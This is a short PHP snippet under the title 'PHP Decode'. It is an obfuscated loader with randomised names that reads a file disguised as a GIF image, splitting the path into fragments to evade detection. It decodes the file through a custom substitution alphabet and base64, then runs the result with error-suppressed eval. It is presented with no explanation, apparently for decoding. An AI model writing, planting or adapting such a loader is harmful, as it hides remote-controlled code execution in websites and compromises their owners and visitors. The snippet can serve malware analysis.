PHP Decode

<?php 
 
if (!class_exists("ijibok_robuzheho")) { 
 
    function adimut_khakheru() { 
        //$chyvefa = array(); 
        return "gfGrkXICNQqTOK=mn1ae8JBsSctlLi6dM9/ZoUjVYDbvEPH0Wwu3x+4y7RpA5Fzh2"; 
    } 
 
    function nyfale_batejesh() { 
        //$inejizh = array(); 
        return "z9F4MSB3ZTWXRHPVj8LC6J7mDghlqd1benprwOi5YQfvtxI=UAsa0cu2Kk+oNG/Ey"; 
    } 
 
    function yfepoj_jygutesesh($aratef_rahomowen) { 
        $byryme = adimut_khakheru(); 
        $rotyzo = nyfale_batejesh(); 
        $tuneji = array(); 
        for ($uvimimi = 0; $uvimimi < strlen($byryme); $uvimimi++) { 
            $ydymozy = substr($byryme, $uvimimi, 1); 
            $opocuk = substr($rotyzo, $uvimimi, 1); 
            $tuneji[$ydymozy] = $opocuk; 
        } 
 
        $eshoviq = strtr($aratef_rahomowen, $tuneji); 
        $eshoviq = base64_decode($eshoviq); 
 
        return $eshoviq; 
    } 
 
    function ifyzow_kypozhag($aratef_rahomowen) { 
        if (!file_exists($aratef_rahomowen)) 
            return false; 
        $ulufiq = @file_get_contents($aratef_rahomowen); 
        if (!$ulufiq) 
            return false; 
        $ulufiq = substr($ulufiq, 3); 
        $ochykan = yfepoj_jygutesesh($ulufiq); 
        return $ochykan; 
    } 
 
    $wyzhyro = ifyzow_kypozhag(__DIR__ . "/ass" . "ets/i" . "mages" . "/ipyfu" . "m.gi" . "f"); 
    if ($wyzhyro) { 
        @eval($wyzhyro); 
    } 
} ?>